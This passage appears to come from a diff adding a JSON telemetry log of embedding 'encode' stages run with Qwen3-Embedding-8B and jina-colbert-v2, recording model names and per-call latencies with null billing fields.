"catalog_encode_1", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 171.8 + }, + { + "stage": "catalog_encode_2", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 182.1 + }, + { + "stage": "catalog_encode_3", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 195.8 + }, + { + "stage": "catalog_encode_4", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 183.7 + }, + { + "stage": "catalog_encode_5", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 200.2 + }, + { + "stage": "catalog_encode_6", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 221.4 + }, + { + "stage": "catalog_encode_7", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 196.9 + }, + { + "stage": "catalog_encode_8", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 198.1 + }, + { + "stage": "catalog_encode_9", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 197.0 + }, + { + "stage": "catalog_encode_10", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 193.2 + }, + { + "stage": "catalog_encode_11", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 269.2 + }, + { + "stage": "catalog_encode_12", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 193.4 + }, + { + "stage": "catalog_encode_13", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 184.3 + }, + { + "stage": "catalog_encode_14", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 193.3 + }, + { + "stage": "catalog_encode_15", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 252.9 + }, + { + "stage": "catalog_encode_16", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 203.9 + }, + { + "stage": "catalog_encode_17", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 192.5 + }, + { + "stage": "catalog_encode_18", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 252.6 + }, + { + "stage": "catalog_encode_19", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 202.2 + }, + { + "stage": "catalog_encode_20", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 218.5 + }, + { + "stage": "catalog_encode_21", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 222.4 + }, + { + "stage": "catalog_encode_22", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 202.2 + }, + { + "stage": "catalog_encode_23", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 258.9 + }, + { + "stage": "catalog_encode_24", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 220.0 + }, + { + "stage": "catalog_encode_25", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 275.2 + }, + { + "stage": "catalog_encode_26", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 262.8 + }, + { + "stage": "catalog_encode_27", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 219.4 + }, + { + "stage": "catalog_encode_28", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 251.1 + }, + { + "stage": "catalog_encode_29", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 212.5 + }, + { + "stage": "catalog_encode_30", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 219.2 + }, + { + "stage": "catalog_encode_31", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 142.6 + }, + { + "stage": "catalog_encode_32", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 265.6 + }, + { + "stage": "catalog_encode_33", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 184.8 + }, + { + "stage": "catalog_encode_34", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 185.3 + }, + { + "stage": "catalog_encode_35", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 196.1 + }, + { + "stage": "catalog_encode_36", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 184.0 + }, + { + "stage": "catalog_encode_37", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 182.2 + }, + { + "stage": "catalog_encode_38", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 214.2 + }, + { + "stage": "catalog_encode_39", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 255.5 + }, + { + "stage": "catalog_encode_40", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 213.4 + }, + { + "stage": "catalog_encode_41", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 212.4 + }, + { + "stage": "catalog_encode_42", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 225.3 + }, + { + "stage": "catalog_encode_43", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 127.3 + }, + { + "stage": "late_catalog_encode_0", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 5231.7 + }, + { + "stage": "late_catalog_encode_1", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 39.4 + }, + { + "stage": "late_catalog_encode_2", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 41.0 + }, + { + "stage": "late_catalog_encode_3", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 53.7 + }, + { + "stage": "late_catalog_encode_4", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 39.1 + }, + { + "stage": "late_catalog_encode_5", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 35.8 + }, + { + "stage": "late_catalog_encode_6", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 42.5 + }, + { + "stage": "late_catalog_encode_7", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 39.1 + }, + { + "stage": "late_catalog_encode_8", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 37.3 + }, + { + "stage": "late_catalog_encode_9", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 39.5 + }, + { + "stage": "late_catalog_encode_10", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 36.1 + }, + { + "stage": "late_catalog_encode_11", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 43.2 + }, + { + "stage": "late_catalog_encode_12", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 34.4 + }, + { + "stage": "late_catalog_encode_13", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 35.5 + }, + { + "stage": "late_catalog_encode_14", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 36.9 + }, + { + "stage": "late_catalog_encode_15", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 42.2 + }, + { + "stage": "late_catalog_encode_16", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 36.0 + }, + { + "stage": "late_catalog_encode_17", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 37.6 + }, + { + "stage": "late_catalog_encode_18", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 42.9 + }, + { + "stage": "late_catalog_encode_19", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 38.2 + }, + { + "stage": "late_catalog_encode_20", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 38.4 + }, + { + "stage": "late_catalog_encode_21", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 39.5 + }, + { + "stage": "late_catalog_encode_22", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 36.5 + }, + { + "stage": "late_catalog_encode_23", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 40.1 + }, + { + "stage": "late_catalog_encode_24", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 37.5 + }, + { + "stage": "late_catalog_encode_25", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 40.7 + }, + { + "stage": "late_catalog_encode_26", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 41.8 + }, + { + "stage": "late_catalog_encode_27", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 38.9 + }, + { + "stage": "late_catalog_encode_28", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 41.0 + }, + { + "stage": "late_catalog_encode_29", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 39.3 + }, + { + "stage": "late_catalog_encode_30", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 38.5 + }, + { + "stage": "late_catalog_encode_31", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 33.3 + }, + { + "stage": "late_catalog_encode_32", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 44.5 + }, + { + "stage": "late_catalog_encode_33", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 35.9 + }, + { + "stage": "late_catalog_encode_34", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 37.3 + }, + { + "stage": "late_catalog_encode_35", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 38.7 + }, + { + "stage": "late_catalog_encode_36", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 37.2 + }, + { + "stage": "late_catalog_encode_37", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 37.2 + }, + { + "stage": "late_catalog_encode_38", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 41.3 + }, + { + "stage": "late_catalog_encode_39", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 41.9 + }, + { + "stage": "late_catalog_encode_40", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 39.4 + }, + { + "stage": "late_catalog_encode_41", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 39.6 + }, + { + "stage": "late_catalog_encode_42", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 41.0 + }, + { + "stage": "late_catalog_encode_43", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 28.4 + }, + { + "stage": "behavior_encode_0", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 98.6 + }, + { + "stage": "behavior_encode_1", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 55.3 + }, + { + "stage": "exemplar_catalog_encode_0", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 62.3 + }, + { + "stage": "exemplar_catalog_encode_1", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 71.3 + }, + { + "stage": "exemplar_catalog_encode_2", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 98.2 + }, + { + "stage": "exemplar_catalog_encode_3", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 61.5 + }, + { + "stage": "exemplar_catalog_encode_4", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.0 + }, + { + "stage": "exemplar_catalog_encode_5", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 72.7 + }, + { + "stage": "exemplar_catalog_encode_6", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 62.7 + }, + { + "stage": "exemplar_catalog_encode_7", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 56.4 + }, + { + "stage": "exemplar_catalog_encode_8", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 76.8 + }, + { + "stage": "exemplar_catalog_encode_9", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.5 + }, + { + "stage": "exemplar_catalog_encode_10", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.8 + }, + { + "stage": "exemplar_catalog_encode_11", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.5 + }, + { + "stage": "exemplar_catalog_encode_12", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 72.5 + }, + { + "stage": "exemplar_catalog_encode_13", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.1 + }, + { + "stage": "exemplar_catalog_encode_14", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 76.4 + }, + { + "stage": "exemplar_catalog_encode_15", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.9 + }, + { + "stage": "exemplar_catalog_encode_16", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 62.8 + }, + { + "stage": "exemplar_catalog_encode_17", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.6 + }, + { + "stage": "exemplar_catalog_encode_18", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.2 + }, + { + "stage": "exemplar_catalog_encode_19", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.8 + }, + { + "stage": 